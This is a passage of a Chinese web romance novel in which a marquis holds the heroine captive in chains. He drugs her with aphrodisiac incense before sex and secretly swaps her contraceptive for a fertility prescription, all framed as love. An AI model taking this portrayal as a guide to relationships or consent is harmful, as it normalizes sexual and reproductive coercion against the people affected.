苦涩的药味在空气里扩散,眉眼疲倦的宁泠睁开眼睛看了眼,差点就忘了这东西。 小丫鬟害怕地低着头,侯爷没说断了避子汤,那就万万不能断。 可之前一个劲催姑娘吃饭,他们不敢端上这碗药。 裴铉看着宁泠不太舒服的样子,本想说,喝不下就不喝了。 就见宁泠朝小丫鬟说道:“拿过来。” 小丫鬟见侯爷没出声,又开始一勺勺喂宁泠喝避子汤。 前儿还说吃不下的人,如今喝那苦涩的汤药却一声不吭。 裴铉的脸色不太好看,一直注视着避子汤。 他冷眼见宁泠将整整一碗汤药喝净,明明是一碗苦涩难喝的汤药,她却甘之若饴的模样。 这么不想怀上他的孩子?裴铉自嘲地笑笑。 第53章 第53章【VIP】 此后的几天宁泠都被锁在床榻上,裴铉晚上都会来。 慢慢的她就麻木了,刚开始还会屈辱难过,后来只会眼眸无神地望着床顶的帐纱发呆。 裴铉在上方,看着她心如死灰的模样直皱眉。 整个人仿佛魂魄都没了,只留下个躯壳,行尸走肉。 他停止动作,将她整个人搂在怀里:“怎么气性这么大?” 她脖子上的掐印已经全部消失了,连手掌处的指甲印都愈合了。 床笫之事知她性子倔,不敢磋磨她。 宁泠不耐烦地睨了他一眼,像是在说,要做就做,不做就滚。 裴铉吻吻她浸满薄汗的额头,声音温柔:“那日我掐你是我不对,可你当众打我就对了?” 宁泠闭上眼眸,不想搭理他。 “我伤了你还记着给你上药喂饭。”裴铉拿起宁泠的手抚摸他脸颊,“你打我可真是铁石心肠,多瞧一眼都不肯。你虚情假意骗我逃跑了,我抓你回来都没舍得动你一根手指头,你倒狠心甩我一巴掌。” 宁泠知他硬得不行,又开始来软的了。 她轻蔑地掀了掀眼皮,冷冰冰地吐出几个字:“狗皮膏药。” 裴铉面色一变,止住了脾气,不想和她争吵。 不过才关了她七天,她整个人瘦了一大圈,气色看着也不好。 每日吃饭连院子里的野猫胃口都比她好,只有那避子汤倒是喝得干干净净,一滴不留。 见她眉宇间疲惫得很,裴铉抱着她去沐浴睡觉。 第二日,裴铉起身欲前往郡守府邸,他逗留淮州已经许多,是时候启程回盛安了。 淮州郡守此次出力颇多,临走前免不得要去拜访感谢下。 帖子是早就下过的,到了门口早有下人领着进府。 林韦德看着侯爷气色不佳,眼底布满血丝。 心里感叹真是孽缘。 郡守府邸花草树木良多,设计巧妙。 路过一处花园时,春天百花齐放,各色花草争芳斗艳,花香四溢。 今日天气晴朗,阳光合适。 裴铉寻思着一直把宁泠锁在榻上也不行,人快速地憔悴消瘦了下去。 他看见了心慌得厉害,可是放了她,他心里又有说不上来的滋味。 她太聪明了,只要有一点点可以借力逃跑的机会,她就能瞬间没了身影。 夜深无人时分,裴铉都会回想之前找 不到人的失落。 他不愿意再承受一次这样的过程。 倏地一道破空声传来,待沉思的裴铉回过神时已晚,一颗手鞠球砸在他胸口。 力道不算大,但他的脸色迅速阴沉。 林韦德也愣住了,以侯爷的身手想要躲开是易如反掌的事情,所以他没有放在心上。 带路的小厮吓得面色一变,早上大人郑重地叮嘱过是贵人,必须小心对待。 有前来捡球的婆子,见了这场景了吓了一跳。 小厮明显认得这婆子,敢怒不敢言。 气氛瞬间凝固尴尬,裴铉冷漠地扫视一眼,转身要走。 他裴铉可不会上赶着去拜访一个郡守。 忽然隔着茂盛的灌木丛,听见有孩童嬉戏打闹的声音。 “奶娘,我的球呢?”一道小男孩的声音传来。 婆子看着裴铉脚边的手鞠球,却被他骇人的气势震慑住,不敢去捡球。 小厮眼见情况不对,连忙让身边人去请大人过来。 那边小男孩连唤几声都没人应答,跟着跑了出来,身后还跟着一个小女孩。 小男孩和小女孩像是双胞胎,都长得粉雕玉琢,很是可爱。 小女孩胆子要小些,穿着身藕粉色的衣裙躲在男孩背后,只留出一张小脸,探头探脑。 小男孩见了那颗球,又瞧见了裴铉衣襟处的脏污处。 他五六岁的年纪,也不是完全懵懂无知,知道自己把球踢到别人身上了。 小男孩声音软糯地道歉说道:“对不起,我不是故意的。” 身后的小女孩也害羞地出来解释:“其实球是我踢出来的,叔叔你别生气。” 裴铉的脸色稍缓,看了看身下的两个小萝卜丁问道:“想不想要回这颗球” 身后的林韦德暗自皱眉,侯爷不会把宁泠那憋着的气,对小孩子撒气吧。 见裴铉蹲下身捡起球放在手里把玩,两个小孩子眼神期盼地仰望着他。 都齐齐点点头,异口同声奶音奶气道:“想要。” “叫声哥哥就还给你们。”他捏着球说道。 两个奶呼呼的小团子没有任何迟疑,大声喊道:“哥哥。” 林韦德一脸无语,侯爷今年二十有三了,男子二十及冠娶妻。 小孩子叫一声叔叔正好合适。 裴铉刚把球还给他们,郡守就满头大汗地跑了过来。 他听了下人汇报,心里火急火燎。 “侯爷,孩子们失礼,万望勿怪。”郡守行礼道。 “小孩子寻常玩闹罢了,大人不必担心。”裴铉带笑回答。 两人才交谈了机会,郡守夫人也赶来。 她容貌端正大方,神色匆匆,一来就将俩孩子拥在怀里,细细检查一番后,又从袖中掏出手帕,温柔地为孩子擦拭额头的汗珠。 “这是下官的夫人,两个孩子向来是她的心头宝。”郡守脸红解释,又对夫人提醒道:“还不向侯爷行礼。” 郡守夫人刚才也是一时情急,生怕孩子们惹恼了侯爷被责罚。她反应过来后连忙行礼。 裴铉摆摆手,脑海里想象得却是宁泠有了孩子会如何? 她脾气那般倔,但对着孩子们应是温柔疼爱的。有了孩子,她会不会愿意收敛些性子? 郡守夫人见裴铉对着俩孩子面色温柔,嘴角带笑,以为他想到了自家孩子。 她随口一问:“不知侯爷家里的孩子多大了?” “还未娶妻。”裴铉回答。 郡守瞪了眼夫人,怕裴铉觉得冒犯了说道:“我家夫人有了孩子后,心心念念都是孩子,万望侯爷勿怪。” 裴铉笑笑:“人之常情。” 郡守的盛情难却,裴铉留在这吃了晚饭后再回府邸。 回去后裴铉对着下人问道:“她今日吃东西没?” “早上一直不起,中午和晚上都吃了。”丫鬟早就记下。 “吃了多少?” 丫鬟道:“都只有小半碗,瞧着胃口不佳。” 裴铉点头回屋,屋子内黑漆漆的,估计她睡下了。 但也不一定,近来她常死气沉沉躺在榻上,醒了也不命人点烛火。 催她吃饭也吃,可看着却无精打采得很。 但裴铉还是怕吵醒她,放轻了脚步靠近他。 她似乎做了噩梦,嘴里一直念叨着什么。 裴铉俯下身去听,只听见一声一声的爹娘。 他察觉不对,感觉她身上灼灼热气逼人。 裴铉伸手贴在她额间,滚烫一片发了高热。 他连忙点燃了烛火,命人去请大夫。 室内烛火痛明,高热烧得她脸色发红,眉头紧皱。 时不时翻身,银链阵阵作响。 被声音吵烦了她,脸上的不舒服加重。似是察觉到屋内耀眼的烛光,她伸出藕白色的手臂,将手掌覆盖于眼眸避光。 裴铉看着伸出的手臂,眉头紧蹙,又看着困住她的银链。 起身将她身上的银链都解开,又找来衣衫为她穿戴后,坐在她身旁用他宽厚的手掌为她遮蔽光亮。 做完这些后,林韦德带着大夫到了。 大夫欲把脉手时,裴铉看着皓白的手腕出声:“等一下。” 接着将随身携带的手帕搭在她手腕处,然后示意大夫继续问诊。 大夫把了一会脉后,神色如常:“只是感染了风寒,身子虚弱。” 裴铉松了口气,猜测是她没穿衣衫,被寒风侵体,是他大意了,以为春季气候温暖,又有锦被蔽体,应是无碍。 大夫见府邸布景便知是非富即贵,有些话不想多嘴,可又看眼前男人神色着急,很是担忧的模样。 “风寒好治,但姑娘早年间应该接触过大寒之物,身子又弱,近来应该又常常服用凉药,长此以往下去难以有孕。” 言尽于此,大夫去开了驱寒退热的药房,裴铉命人连夜抓药熬药。 心里却一直惦记着大夫的那句,难以有孕。 早年冰天雪地她在浣衣局洗衣,身上就染了寒气。 药熬好后,裴铉将她扶起喂药,她烧得昏昏沉沉喝不下。 裴铉面带担忧看了她一眼,接着将黝黑发苦的汤药喝下,靠近她殷红柔软的唇,缓缓渡下。 口腔里的苦涩味道蔓延,裴铉竟诡异地发现他心里闷慌的情绪缓解。 为了怕把她呛着,裴铉适量慢慢进行。 宁泠忽地醒了,面染红霞,泪眼婆娑望着裴铉,看她神情应该还处于浑浑噩噩中。 不知是被苦醒,还是被裴铉吵醒。 裴铉被想着人醒了就喂她自己喝药,却见宁泠没有铁链的束缚,整个人往床角退,身体蜷缩成一团,还想拉起被子将自己全部笼罩住。 “你发高热了,要吃药。”裴铉尽量放缓自己的语气,不吓着她。 那知他话音刚落,宁泠神情惶恐地摇头,眼泪啪嗒啪嗒地往下掉。 这些天她从不肯在裴铉面前落泪,裴铉看了呼吸一滞。 “喝了药,身体就舒服了。”他像哄小孩一样哄她,他端着药碗靠近。 宁泠顿时像受惊的幼兽,将自己挤在狭小的角落,声音呜咽:“你别过来!” 裴铉见她如此抗拒自己,放下了药碗,想将人先安抚好。 宁泠却警惕地盯着他的双手,见他想要来捉她,情急之下出口而出:“别掐我。” 裴铉的身形僵住,眸光复杂地看着她,沉默了好一会。 他声音低沉有力说道:“我发誓,以后都不会对你动手了,好吗?” 宁泠并没有轻易地相信他的话,身体紧绷,眼神警备地看着他。 裴铉不想刺激她,两人在榻上僵持了许多。 “你将 这碗药喝了,我就不过来。“裴铉耐着性子说道,将药碗放在她伸手可触的地方,并不与她直接接触。 宁泠怀疑地看了他一眼,还是乖乖喝了药。许是药里加了安神的药材,加上她精神不佳,宁泠倚靠着床角处慢慢睡着了。 听见她的呼吸逐渐平缓悠长,裴铉小心翼翼将人靠近,将人放进被子。 宁泠的高热反复,睡梦里总是坠着泪珠喊着爹娘。 她病情反反复复不见好,食欲不好,精神萎靡,也不搭理人。 她养病的这几天,裴铉的心情越发不好。 用银链的这个法子不行,她整个人都精神恍惚得很。 一场风寒养了快半个月,还是不见起色,人消瘦得厉害,他去抱她都硌手。 裴铉看着丫鬟喂了几口饭后,宁泠面色苍白地不肯吃了。 丫鬟神情为难地看着裴铉,他点了点头,命人都撤下去。 “宁泠,你不肯好好吃饭,也不愿好好养病,是想死吗?”裴铉神色平静地问道。 宁泠依旧不理他。 “人死了就什么都没了,你确定要以死明志?”裴铉神情残忍地继续说道,“你死了,对我来说并没有任何损失,我依旧可以坐拥权势,享受数不尽的美人。而你将成为一捧黄土,哦,还有你死了也是埋在我的墓穴里,因为我去死你觉得值吗?” 宁泠狠狠剜了一眼他,想到死了还有和这种人在一起,她死都死不安生。 见她肯瞪自己,裴铉轻笑出声,总比冷冰冰不搭理人强多了。 “你不是厌恶银链吗?”裴铉抛出条件,“你肯乖乖吃药,好好养病,我就答应你从此以后都不用。” 宁泠有点心动了,总日被捆绑束缚,纵使她有三头六臂,也不可能逃出侯府。 可只有拥有一点自由,还是有机会逃跑。 “我想回青山县给我爹娘上坟。”宁泠提出自己的要求,她自离开后就没回去过,上次听见孟亦知说坟包杂草横生,无人打理,她心里很是难过。 反正回盛安城要坐船,去一趟青山县也耽搁不了几天。不然以后想要出门回家乡,不知还有没有机会了。 “不行。”裴铉态度坚决,“又想法子准备逃跑?” 带着宁泠去一个他不熟练,但她了如指掌的地方,不确定性太强了,裴铉不可能应允。而且她身体如此羸弱,尚在病中,不适合跋山涉水,路途奔波。 宁泠垂下了眼眸躺回床榻上,翻了身背对裴铉。摆明了不想再谈。 裴铉皱眉退一步说道:“你放心不下你爹娘,我可以命人去祭拜打扫。” 对牛弹琴,宁泠冷嗤一声,看望父母是可以由旁人替代的事情吗? 见她不为所动,裴铉暗叹一口气,再退一步:“一年,如果你一年内没有再逃跑,我就允许你回青山县祭拜,在此期间我会派人去祭拜打扫,不会让他们无人照管。” 她几次三番寻找时机逃跑,裴铉是动了心思直接用纳妾文书绑住她的。 可看着她一个人绝望地躺在床上落泪,他又狠不下那个心。 有根胡萝卜在前面钓着,一年事情可以做很多事情了。 宁泠知道这是他的极限了,转过身说道:“好。” 为了这种人折磨自己的确不值得,没有银链的捆绑,她还有机会。 一年内她可以继续寻找机会再逃跑,就算一年内没找到合适的机会,待去青山县时山高水远,她不信一路上没有一点机会。 人有了希望,自然就有了精气神。 宁泠吃饭喝药明显积极多了,天气好时还愿意去院子里晒晒太阳,赏赏花。 一日,宁泠吃完饭后看着深黑的汤药,忍不住问裴铉:“还要喝到什么时候?” 她的风寒已经好了,日日还喝一碗调理身子的药,什么时候是个头? “先喝着吧,回盛安城后我去请个太医给你把把脉,仔细瞧瞧。”裴铉将药端至她面前,监督她喝下。 上次大夫的话他听进心里了,有意好好调理下宁泠的身子。 自从她病后,他未曾碰过她身子,一是怕加重病情,二是怕她再喝凉药伤了根本。 宁泠的病已经养得差不多,裴铉带着宁泠启程回盛安城。 郡守携带全家前来相送,那一对双胞胎也跟着来了。 他们许是得了自家父亲的叮嘱,对着裴铉尤为热情,见裴铉愿意搭理他们,还激动粘人地抱着他的腿,依依不舍地道别。 怕宁泠在外吹了风,高热反复,裴铉不许她来甲板。 林韦德看着裴铉这般,心里纳闷侯爷何时喜欢孩子了?以前谈不上厌恶,可也绝不会仍由小孩子扒拉。 “我这个年纪,是不是该当父亲了?”裴铉忽然扭头对林韦德问道。 林韦德心里顿时砸下惊天大雷。侯爷是想娶妻生子了,还是想宁泠给他生一个? 见林韦德目瞪口呆,裴铉也不指望从他那获得答案,嘴角上扬,心情颇好。 有了孩子她还会想跑吗?是带着孩子一起跑呢?还是撇下孩子独自跑? 第54章 第54章【VIP】 两日后,裴铉带着宁泠回了盛安城。 紫叶带着珍珠等人在府邸外迎接,宁泠怔怔地打量着侯府的大门,忽地有种恍若隔年的感觉,其实加上养病这段时日也才三个月。 天气逐渐热了,艳阳高照。 裴铉看着傻乎乎的宁泠,一个眼神示意珍珠,珍珠立刻拉着宁泠进府。 争晖院,珍珠红着眼圈看着宁泠,她瘦了好大一圈,精气神看着也不如以往。 侯府衣食不缺,何必去外面受罪,可她知道宁泠不喜欢这里,她也不好多说。 “玉兰和廖先生可好?”宁泠将埋在心里的疑问问出。 不知裴铉有没有为难他们? 珍珠为宁泠倒了一杯茶水递入手心:“姐姐放心,侯爷将她们仔细审问后就放了人。” 宁泠点点头,他们本就不知情。 皇宫内,裴铉将此次出行的情况一五一十上报。 宣帝很是满意,他看着裴铉面带春风,神色比上次温和了不少,打趣问道:“看来堂兄是抱得美人归了?” 裴铉笑笑:“忠国公不仅挪用贡品,还在私底下买卖官位。” 宣帝的笑容凝固,他就知道那老匹夫不止看上那点银钱,还有更大的作用,原来是为了卖官拉拢人心,结党营私。 “这是青州抄家的清单。”裴铉将单子呈上。 宁泠养病的日子他没闲着,又暗地查卖官的事情。 宣帝点点头,挪用贡品一事按不死裴书伦,可买卖官爵一事可以。 裴铉出宫时命林韦德去太医院请了位诊治妇科的好手,跟着一起回晋阳侯府。 下午时分,宁泠躺在珍珠搬来的摇椅上,摇椅放在一颗枝叶茂盛的大树下,绿荫成片,只余点点岁岁的光斑散落。 许是外面日头足,她在眼眸处搭了一条手帕,瞧着像是在浅眠小憩。 光晕打在她白皙的肌肤上美极了,岁月静好之感无声蔓延,裴铉不知不觉看了会。 “外面吹风,小心着凉。”裴铉走近她身旁。 宁泠懒散地动动身子,不想开口说话。 林韦德领着太医在院子外候着,只余光瞥见侯爷耐心十足地说话。 见她不理自己,裴铉也不恼,将人抱在怀里,进了室内。 他将她睡乱的发髻和衣衫理好:“我请了个太医来,给你好好调理下身子。” 现在抱着倒是比之前好些了,可还是瘦弱。 宁泠原本神色恹恹,可仔细一想,身体是自己的,没有个好身子,以后怎么跑。 别的不说,就上次她从高石县走回淮州,要是体力不支还真是不行。 看她不抗拒,裴铉喊林韦德带人进来。 宁泠皓白的手腕早放置好了避嫌的手帕,太医凝神屏气把脉后。 她好奇问道:“如何?” “姑娘放心,只是体弱了些,并无大碍,平时多多进补即可,不用喝药调理。”太医收拾脉枕。 俗话说是药三分毒,她的身子骨还没差到那种地步。 宁泠点点头,她除了来葵水时小腹坠痛,平日里并没觉得哪里不舒服,应该身体尚可。 春日太阳高照,宁泠困乏得很,知道自己身体没事后,就回了床榻午睡。 裴铉将人领至偏殿,对太医小声问道:“她的身子是否难以有孕?” 路上来时,林韦德就叮嘱过太医,不许对宁泠提及这些。 “她早年寒气入体,又喝了不少凉药,胞宫的确有些受损。”见侯爷面色不佳,他又急忙说道:“不过姑娘尚且年轻,侯爷又身强体壮,只要不继续喝凉药,并无大碍。” 裴铉神情稍缓,回想刚才的话,不放心问道:“真不用喝药调理?” 太医点点头:“不用,若是侯爷着急子嗣,可在事后喝上一碗助孕的汤药,可要微臣开方子?” 裴铉:“开。” 太医走后,裴铉将药方给林韦德:“若她问,就答她身子骨弱,之前的药方药性太猛,太医重新调了下方子,此事不要让他人知晓。” 林韦德接过药方点头,心里却暗叹一声,侯爷瞒着宁泠干这事,可终究包不住火,等她知晓的那一天,不知要发多大脾气。 说不定气头上,又要扇侯爷几巴掌。 晚上的书房里,烛火摇曳,宁泠又开始写大字了。 外出逃跑这些天,写大字一事便耽搁了下来了。 她一连写了几张,看了自己都泄气。 她大概是指望不上靠抄书还有写信赚钱了,她在书肆帮工时,常见老翁找些书生抄录,一手字写得端端正正,十分好看。 宁泠用的是裴铉做的字帖临摹,他一手字行云流水、铁画银钩。 可她倒是画龙像蛇,画虎成狗。 她面色忧愁地大字交了上去,裴铉接过一看,笑出了声:“果然练字不能懈怠,你看你偷懒了几月,这字越发不能入眼了。” 宁泠闷声答道:“再练几年都一样。” 她就不是这块料子。 “怎么会?你随我练字时日尚短,长年累月定进步神速。”裴铉将她搂在怀里哄她。 宁泠眼珠转了转:“会不会是你教得不好?不然你给我请个先生,实在不成给我换个字帖。” 裴铉的脸垮了下去,他捏着宁泠的脸:“想跟我练字的人多了去,你以为谁都像你一样有福。” 宁泠不满地翻了个白眼,可惜她真不稀罕。 裴铉拿她没法子,看着她的字忍不住打趣:“宁泠的字和宁泠一样,独一无二。” 他这话顿时提醒了宁泠,他是如何找到她的。 那日只是查账,并无任何风吹草动,后来宁泠百思不得其解,原来是字迹除了纰漏。 美人在怀,烛火摇曳,勾得裴铉心痒难耐。 借着暖黄的烛火他打量着她,气色比之前好些,听说饭量也逐渐恢复了。 他略带薄茧的手揉捏她的耳垂:“宁泠的耳眼又愈合了。” 平淡的声音,却惊得宁泠一颤,她闭上眼眸:“是侯爷又想打耳眼了吧。” 她眉宇间带着忐忑,发髻上绿色的丝绦散落在他衣摆上。 “怕了?”裴铉低声问道。 宁泠那肯低头服软,掷地有声:“不怕。” 裴铉放松地背靠后椅,好整以暇望着她:“如果宁泠肯告诉我怎么从淮州去高石县的,我就放你一马。” 账本的事情宁泠迟早能猜出来,可他很好奇宁泠怎么跑出去的? 宁泠当然不告诉裴铉,说不定这招以后还能用,怎能自断后路,她坚定地摇摇头。 反正打了几次耳眼,她习惯了。 她的反应在裴铉的意料之中,从她嘴里套话可不是件容易事。 上次的宅子瞒得密不透风,不过裴铉能够从出城猜出一二。 无非就是熟人放水,或者像躲入背篓一般,藏于货里。毕竟总有马虎偷懒的侍卫,刚好给了宁泠可乘之机。 宁泠镇定心神,等待着裴铉取银针穿耳。 他却忽然将她搂入怀里,胸腔的心跳震得她耳尖发麻。 裴铉眼眸含情,温和说道:“宁泠不想打耳眼,不打就是了。以前是我欺人太甚,以后我改成不?” 宁泠狐疑的目光注视他,觉得他不是一个轻而易举放弃的人,必定留了后手。 裴铉抱着她回了内室,自从上次无意掐了她后,她有些害怕他。 无意间的肢体接触,都引得她娇躯轻颤,再用锁链后,她对他更是毫不亲近。 裴铉不想逼迫她太过,左右是耳眼的小事,她不喜欢就罢了。 沐浴后,宁泠看着床榻上的裴铉心悸,自从她病了后,他们已有一月未曾亲近。 但今日看他这个样子,不肯轻易善罢甘休了。 三脚香炉里他还点了香,袅袅白雾缓缓升腾至上空。 宁泠眼底闪过诧异,她以为自上次被迷晕后,裴铉必定对香料深恶痛绝。不曾想,他还愿意用香炉熏香,她走近香炉附近仔细闻了下,应该是她没制过的香料,不知有什么功效。 裴铉出来时,面庞和脖子处还挂着几滴水珠。他走近揽住宁泠盈盈一握的细腰。 “可知是什么香?”他语气耐人寻味。 宁泠思索后还是摇摇头:“不知。” 但她感觉许是香气太重了,有点闷人,感觉燥热难耐。 裴铉笑得风流,俊脸添了几分生动,在她耳畔喃喃私语。 宁泠听了气得面红耳赤:“无耻下流!刚才在书房还说不欺负我。” “上次你给我下了清梦香和养心香后,自己逃之夭夭。”裴铉义正言辞反驳,“如今我可没让你一个人,而是陪你一起。” 宁泠脸上的娇艳之色越发明显,眼眸秋水盈盈,她咬牙切齿道:“你还不如留我一个人。” 一个人熬过了药效就好了。 “只有辅助之效,不伤身。”裴铉将她发软的身体搂紧,舔舐着她柔软的耳垂,“宁泠,做人要礼尚往来。你给我下了一次香药,我只用这一次可好?” 宁泠的话还没出口,就被他霸道强势的吻堵住了嘴。 圆月高挂,已是深夜,听着外面微风拂过树叶的声音。 裴铉心满意足地将人抱回了榻上,看着她醇黑的瞳孔失焦,微微扩张,殷红饱满的嘴唇微张。 今夜她乖极了,让她喊哥哥就喊哥哥,唤夫君也唤个不停。 次日一早,宁泠起床醒了,只觉浑身酸痛,想到了昨晚的恼人画面,气急败坏地将枕头等物扫落在地上。 混账东西!宁泠小脸气得通红,珍珠听见里面声响急忙进来。 “姐姐怎么了?”珍珠将散落在地面上的东西捡起,不经意间看见宁泠的衣襟散开。 里面全是错落斑驳的吻痕,她羞红了脸。 宁泠收敛了神情:“没事。” 珍珠伺候宁泠洗漱穿衣后,将准备好的凉药端了上来。 宁泠神色不变,如往常一般一饮而尽,她喝着总觉得味道不太对。 “感觉味道变了。”她柳眉紧皱对珍珠问道。 珍珠回答:“说是宫里那位太医调整了下药方。” 宁泠点点头。 傍晚裴铉回来,宁泠没有给他好脸色。 裴铉将下值后去买的酥蜜饼放在木桌上:“几个月不曾吃了,还不试试?” 宁泠还在为昨晚的恼怒,冷着脸色,不想搭理他。 “你给我下药,我对你甩脸没有?”裴铉洗净手,捻了一块酥蜜饼喂她嘴边,“何况我两一起用的香,你生气什么?” 宁泠侧脸避开酥蜜饼,裴铉又笑着凑过来,有心逗她:“你再生气,下次我就把你一个人关里面,待你熏了香中了药后,我再进去,你说你是恼我赶我走呢?还是求着我别走,给你当解药?” 宁泠的脸色更不好看,没想到他还有这般龌龊的想法。 “逗你呢,我哪敢。”见她眸色发冷动了真气,裴铉低声问道,“难道昨晚你不喜欢,你可都” 他话还没说完,宁泠将他手里酥蜜饼接过,一把塞他嘴里。 她一双水灵灵的大眼睛瞪着他,不准他再说了。 裴铉慢条斯理地将那块酥蜜饼吃了,又听见宁泠问道:“听说太医给我换了个方子?” 裴铉知她真正想问的是什么,是否影响药效? “刚才还堵我嘴,不让我说话。”裴铉扬了扬手里的饼,“现在又开始问我话,宁泠可真难伺候。” 宁泠懂他阴阳怪气,猜他还有后招问道:“侯爷想如何?” “昨儿夜里亲亲热热唤夫君, 现在又冷冰冰侯爷了。“裴铉眉梢一挑,“可真是翻脸无情。” 宁泠顿时觉得他无理取闹,颇有几分拈酸吃醋的怨夫模样。 她望了一眼:“侯爷不愿告知就算了。” “我给你带了酥蜜饼回来,宁泠帮我煮碗面不难吧?”裴铉提出要求。 宁泠莫名其妙看他一眼,灶房里什么厨子没有,为何需要她煮面? 他眼神幽幽望着他,她和孟亦知在叙州的一举一动都有人向他汇报。 那蠢货喝得烂醉如泥,她还给他弄醒酒茶。 听说白日买菜做饭都是她,不过孟亦知已是过往云烟了,她自己都说了不必再见。 不枉费他专门派人请孟大娘来,催成了两家喜见乐闻的好事。 还让人对孟家促膝长谈,分析利弊。 “我厨艺不好。”宁泠没有骗他。 “那就煮简单的,不必太复杂。”裴铉固执地要求道。 宁泠无奈去了灶房,她将灶房里的食材巡视一圈,什么鸡鸭鱼肉不必了。 就煎个蛋,放上几片菜叶即可。 裴铉倚靠在门后,目光安静地看着她,丫鬟婆子都被赶去了外面。 宁泠知道自己厨艺不佳,先将菜叶洗净备用。 再将鸡蛋打好放在碗里备用,准备好面条。面条还是她们帮忙揉好的,不然等宁泠弄,恐怕是夜宵了。 宁泠先检查好火候,然后放了一小块白白的猪油。 猪油融化,滋滋的声音响起,她头皮发麻地将鸡蛋倒入,内心祈祷油别溅她一身。 为了不被烫,她走得离锅有点远。 待闻见锅里的味道不对后,有点为时已晚,蛋糊了。 锅里黑乎乎一团,惨不忍睹。 她神色尴尬地望着裴铉,带着点可怜兮兮眼神询问他。 裴铉慵懒倚着,神情未变:“那就煮素面,不必煎蛋了。” 她这手艺,她煎好蛋,他恐怕都吃不下去。 宁泠的脸上浮现笑意,煮素面她还是可以的。 没多久,一碗素面端上桌子。 捞面的时间没把握好,面软趴趴一坨在碗里,几片菜叶也失了清脆鲜亮,焉哒哒在碗四周。 “吃吧。”宁泠将一双干净的筷子递给裴铉。 裴铉接过,只吃了一口后望着宁泠。 “怎么了?”宁泠看着他。 “你确定你放盐了?”裴铉又尝了一口。 宁泠坚定回答:“放了,但可能量没把握好。” 裴铉欲放下筷子,一碗面的味道奇奇怪怪。 “不行!”宁泠来了脾气,“你让我煮,煮了又不吃是什么意思?” 她忙活一阵,他还好意思嫌弃?是他自己求着讨来的,必须吃完。 她像个悍妇似得叉着腰,气鼓鼓地眼神逼视他。 裴铉唇角上扬,看她这样鲜活可爱,可比死气沉沉有意思多了。 “我下次休沐带你去城外山庄去玩可好?”裴铉将那碗面推开,和她打着商量。 宁泠对山庄并无兴趣,可又转念一想,日日困在府里,对外缺乏了解对逃跑百害而无一利。 “行吧,看你下次还让我煮面不。”宁泠得意一笑,小脸娇俏灵动。他捉弄她那么多次,她终于逮住他出一口恶气了。 裴铉想起宁泠的户籍记载,去年夏天她满的十八岁生辰。 还是个天真懵懂的小姑娘,他长她五岁,何必处处和她较真,让让她也无妨。 “新换的药方有影响吗?”看他神情愉悦,宁泠没忘了正事。 裴铉眼底的光芒稍纵即逝,不答反问:“若你有孕了,你会怎么办?” 第55章 第55章【VIP】 宁泠眉头迅速拧紧几分,他这是何意? 他难不成想未成亲先生子?这在大户人家可是大忌,尊卑不分,嫡庶难明。 见她心生抵触,裴铉笑笑解释:“太医说之前药方太猛,不适合你体质,稍加修改。” “那影响药效吗?”宁泠小心翼翼再问。 裴铉内心自嘲一笑,她可真是避之如洪水猛兽。 他不答反问:“你质疑太医院的医术?” 宁泠没回答,思索裴铉应该不至于如此冲动,多半又是逗她玩。 而且他真有这个想法,直接停了凉药,她也无可奈何,不必如此大费周章。 裴铉发现自从上次用香后,宁泠对他的抗拒减少了许多。 不知是担心他真的言出必行用香逼迫,还是她又开始玩虚情假意,迷惑人心那一套了。 晚上梳洗过后,裴铉抱着宁泠躺在床榻处,他一双手不老实地四处游走。 宁泠推开他的手,总觉得近来他举止不太正常。 对这件事情的态度十分奇怪,每晚都要做,可每晚都只叫一回水。有时她对上他隐忍的眸色,他轻柔地吻她脸庞,拥抱她入睡。 若是以往,他多半尽兴而归。 他的手指乱探,忽觉不对劲,对着烛火低头一瞧,指尖上染了鲜血,诧异地挑眉给宁泠看。 宁泠害羞地急匆匆下床去处理,她癸水来了。 裴铉望着她着急离去的背影,心里暗暗失落。 不过这种事情天时地利人和,急也没用,他有一整年的时间。 若是一整年都没用,他还有其他法子。 宁泠处理好后打算回偏殿休息,她心里松了一口气,药方应该没问题吧? 她有心想要去灶房弄来药渣,可她不认药理,也出不了府邸去询问外面的大夫,府里的人就算真知道什么,也绝不会告诉她。不彻底弄清楚这件事,她心有疑虑。 裴铉将她回去的路拦住,高大的身影投射在干净光亮的地板上:“往那走?” 宁泠没想到他在这,愣了下答道:“回偏房。” “回去干什么?”裴铉走近牵起她小小的手,回了主室。 其实宁泠很想问他回这干什么,她来了癸水伺候不了他了。但裴铉的性子阴晴不定,宁泠不想招惹他。 他将温暖的手贴放在她小腹上,柔声问道:“疼吗?” 宁泠摇摇头:“不痛。” 心里却升起几分疑惑,以前要来的头几天都有不适,这次怎么没了?难不成因为调整了药方? 躺在床上宁泠一边想着一边睡着了,没看见裴铉目光深沉望着她的肚子。 她这次整个癸水期间都没有任何不适,而且裴铉对此似乎十分在意。 特意叮嘱了灶房伙食,又命珍珠注意照顾她的起居。 可宁泠总觉得不太对劲,难不成上次的风寒他认为她身子骨太弱了,要仔细养养? 到了裴铉休沐的日子,他命林韦德早去城郊外的庄子打点好。 宁泠更宁愿在城内逛逛,可裴铉不愿。她知道他在防她,怕她熟知地形。 她和裴铉坐在马车内,慢悠悠地出发。 “庄子里能有什么好玩的?”宁泠不满问道。 若是不好玩,还不如当初逼他吃完面条出口恶气。 “风景好人少。”裴铉想了想回答,看她兴致缺缺又补充,“还有兔子、孔雀等等。” 她这个年纪的小女孩应该喜欢这些动物。 宁泠还是不感兴趣。 下了马车,山庄内人少地宽,空气清醒。 天天闷在侯府久了,听着微风吹过山林的轻响,看着漫山遍野的鲜花,还有整整齐齐的绿色菜叶,宁泠好像自己又回到了无忧无虑的青山县,回到了父母尚在的生活。 庄子里的下人整齐地排成两列,眼神热烈地欢迎他们。 穿着朴素,脸上带笑的仆妇上前一步问道:“姑娘唤我许娘子 就成,可想去兔舍看看?” 林大人早打了招呼,务必要哄得这位小娘子开开心心。 “去吧。”别人积极热情地邀请,宁泠也不好拒绝。 宁泠跟着这位中年娘子去了兔舍,兔舍早就被收拾妥当,不染纤尘,没有一丝异味。 连兔子都是白白胖胖,毛色发亮。 宁泠早年家里也养过兔子,知道真实的兔子其实腿部等毛发会略微发黄,不可能有这么干净。 她伸出手去摸了摸,它们的脾气很好,柔顺地一动不动。 裴铉跟在宁泠身后,看着她神情温柔地摸着兔子。觉得现在的她也像一只小兔子,干干净净,可可爱爱,就是瘦了些。 许娘子看宁泠玩够了兔子,又欲带着她去参观其他地方。 路过了一处小水沟,几个孩童挽起裤脚露出小腿,光着脚丫在溪水里捉鱼。 宁泠驻足停望他们,五个小孩子,有男有女,都是五六岁活泼好动的贪玩年纪。 